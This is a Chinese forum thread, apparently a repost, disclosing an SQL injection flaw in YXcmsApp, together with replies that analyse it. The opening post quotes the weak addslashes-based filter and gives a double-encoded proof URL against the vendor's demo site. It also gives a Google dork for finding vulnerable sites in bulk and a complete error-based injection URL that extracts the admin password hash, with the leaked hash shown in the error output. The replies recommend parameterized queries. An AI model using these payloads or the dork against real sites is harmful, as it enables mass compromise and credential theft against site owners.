YXcmsApp 注入漏洞(转载)
漏洞文件protected\apps\default\controller\indexController.php关键代码
public function search()
{
if(empty($_GET['keywords'])||empty($_GET['type'])) $this->error('搜索条件不足~');
$keywords=in(urldecode(trim($_GET['keywords'])));
$type=in($_GET['type']);
$listRows=10;//每页显示的信息条数,2n偶数
$url=url('index/search',array('keywords'=>urlencode($keywords),'type'=>$type,'page'=>'{page}'));
$where="ispass='1' AND (title like '%".$keywords."%' OR description like '%".$keywords."%')";
全局过滤代码
protected\include\lib\common.function.php
function in($data,$force=false){
if(is_string($data)){
$data=trim(htmlspecialchars($data));//防止被挂马,跨站攻击
if(($force==true)||(!get_magic_quotes_gpc())) {
$data = addslashes($data);//防止sql注入
}
return$data;
} else if(is_array($data)) {
foreach($data as $key=>$value){
$data[$key]=in($value,$force);
}
return $data;
} else {
return $data;
}
}
keywords 靠addslashes这个过滤,无语了
漏洞证明:
http://demo.yxcms.net/index.php?r=default/index/search&keywords=a%2527%C2%95%C2%8A&type=all
出错信息: MySQL Query Error
SQL: SELECT count(*) FROM yx_news WHERE ispass='1' AND (title like '%a'%' OR description like '%a'%')
错误详情: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' OR description like '%a'%')' at line 1
错误代码:1064
危害
google search
inurl:index.php?r=default/page
http://www.google.com.hk/#newwindow=1&q=inurl:index.php%3Fr%3Ddefault/page&safe=strict&start=90
用的也比较多了 算通用了吧。
其实很多地方引用这个过滤。。顺便送个爆hash exp
http://demo.yxcms.net/index.php?r=default%2Fextend%2Findex&id=100023%20AND%20%28SELECT%201660%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716d667271%2C%28SELECT%20MID%28%28IFNULL%28CAST%28password%20AS%20CHAR%29%2C0x20%29%29%2C1%2C50%29%20FROM%20yx_admin%20WHERE%20username%3D0x61646d696e%20LIMIT%200%2C1%29%2C0x716e6e7371%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29
出错信息: MySQL Query Error
SQL: SELECT id,type,name,method,url,extendid FROM yx_sort WHERE id IN(100023 AND (SELECT 1660 FROM(SELECT COUNT(*),CONCAT(0x716d667271,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM yx_admin WHERE username=0x61646d696e LIMIT 0,1),0x716e6e7371,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)) ORDER BY deep
错误详情: Duplicate entry 'qmfrq44f76bda33900c7a9b984674f283fdafqnnsq1' for key 'group_key'
错误代码:1062
这是在刷清理的节奏啊
Re: YXcmsApp 注入漏洞(转载)
感谢分享,这个漏洞分析得很详细。从代码看,`in()` 函数只用了 `addslashes` 和 `htmlspecialchars`,面对宽字节或二次编码绕过确实不够安全。那个 `%2527` 的双重编码思路也很典型。另外爆 Hash 的 EXP 直接利用了 `id` 参数未充分过滤,说明这类注入点不止一处。用的人多的话,确实值得警惕,建议站长尽快升级或补上参数化查询。Re: YXcmsApp 注入漏洞(转载)
感谢楼主分享这个漏洞分析,写得非常清晰。关键问题确实出在 `in()` 函数只用 `addslashes` 过滤,而 `keywords` 参数又经过 `urldecode` 二次解码,结合站点可能的 GBK 编码,可以轻松绕过实现宽字节注入。楼主提供的爆 hash 的 exp 也很完整,证明该漏洞确实可被利用获取管理员密码。 这种全局过滤函数过于依赖 `addslashes`,在 PHP 5.4+ 或关闭魔术引号的环境中几乎形同虚设。建议开发者直接使用参数化查询或预处理语句,从根源上杜绝拼接 SQL 的问题。另外 `htmlspecialchars` 虽能防 XSS,但对 SQL 注入无效,两者职责应该分开。 这类 CMS 用户量不小,希望官方能尽快修复。也提醒使用 YXcms 的朋友,在补丁出来前先通过 WAF 或临时修改代码来加固。再次感谢楼主的技术分享。Re: YXcmsApp 注入漏洞(转载)
感谢楼主分享漏洞详情,分析得很清楚。确实,单靠 `addslashes` 在特定编码下(如 GBK)很容易被宽字节注入绕过,而且楼主也给出了利用 %2527 二次编码的实例。这种过滤方式在字符集处理不当时基本等于虚设。 建议官方尽快将 SQL 查询改为参数化绑定(如 PDO 的 prepared statement),同时 `in()` 函数里 `htmlspecialchars` 后再接 `addslashes` 的顺序和逻辑也存在风险。另外那个爆 hash 的 exp 也证实了注入的通用性,搜索语法 `inurl:index.php?r=default/page` 能批量找到目标,影响面不小。 希望看到此帖的用户及时关注自己使用的 YXcms 版本,打补丁或自行加固。再次感谢楼主的认真测试和分享!
页:
[1]